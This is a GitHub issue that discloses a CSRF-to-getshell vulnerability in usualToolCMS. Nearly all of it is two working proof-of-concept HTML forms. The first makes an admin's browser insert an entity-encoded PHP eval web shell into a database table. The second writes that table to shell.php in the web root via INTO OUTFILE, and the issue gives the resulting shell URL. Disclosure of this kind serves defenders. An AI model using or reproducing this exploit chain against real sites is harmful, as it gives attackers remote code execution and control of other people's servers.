Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

usualToolCMS CSRF getshell #1

Open
fdbao opened this issue Jan 9, 2019 · 0 comments
Open

usualToolCMS CSRF getshell #1

fdbao opened this issue Jan 9, 2019 · 0 comments

Comments

@fdbao
Copy link
Owner

fdbao commented Jan 9, 2019

If you want to use the vulnerability, you need to have the MySQL operation rights

First, generating CSRF POC and inserting a line of data containing PHP malicious codes into CMS_water

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/usualToolCMS/cmsadmin/a_sqlbackx.php?t=sql" method="POST">
<input type="hidden" name="sqlcontent" value="INSERT&#32;INTO&#32;&#96;cms&#95;water&#96;&#40;&#96;id&#96;&#44;&#32;&#96;water&#96;&#44;&#32;&#96;water&#95;type&#96;&#44;&#32;&#96;water&#95;place&#96;&#44;&#32;&#96;water&#95;textcolor&#96;&#44;&#32;&#96;water&#95;textsize&#96;&#44;&#32;&#96;water&#95;text&#96;&#44;&#32;&#96;water&#95;png&#96;&#41;&#32;VALUES&#32;&#40;2&#44;2&#44;&apos;image&apos;&#44;7&#44;&apos;&#35;B5B5BB5&apos;&#44;20&#44;&apos;&lt;&#63;php&#32;eval&#40;&#36;&#95;POST&#91;c&#93;&#41;&#59;&#32;&#63;&gt;&apos;&#44;&apos;&apos;&#41;" />
<input type="hidden" name="submit" value="æ&#137;&#167;è&#161;&#140;SQLè&#175;&#173;å&#143;&#165;" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Finally, exporting the PHP malicious code into the root directory of the website to generate shell.

<html>
  
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/usualToolCMS/cmsadmin/a_sqlbackx.php?t=sql" method="POST">
      <input type="hidden" name="sqlcontent" value="SELECT&#32;&#96;id&#96;&#44;&#32;&#96;water&#96;&#44;&#32;&#96;water&#95;type&#96;&#44;&#32;&#96;water&#95;place&#96;&#44;&#32;&#96;water&#95;textcolor&#96;&#44;&#32;&#96;water&#95;textsize&#96;&#44;&#32;&#96;water&#95;text&#96;&#44;&#32;&#96;water&#95;png&#96;&#32;FROM&#32;&#96;cms&#95;water&#96;&#32;WHERE&#32;1&#32;INTO&#32;OUTFILE&#32;&apos;&#46;&#46;&#47;&#46;&#46;&#47;WWW&#47;usualToolCMS&#47;shell&#46;php&apos;" />
      <input type="hidden" name="submit" value="æ&#137;&#167;è&#161;&#140;SQLè&#175;&#173;å&#143;&#165;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

shell:http://127.0.0.1/usualToolCMS/shell.php

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant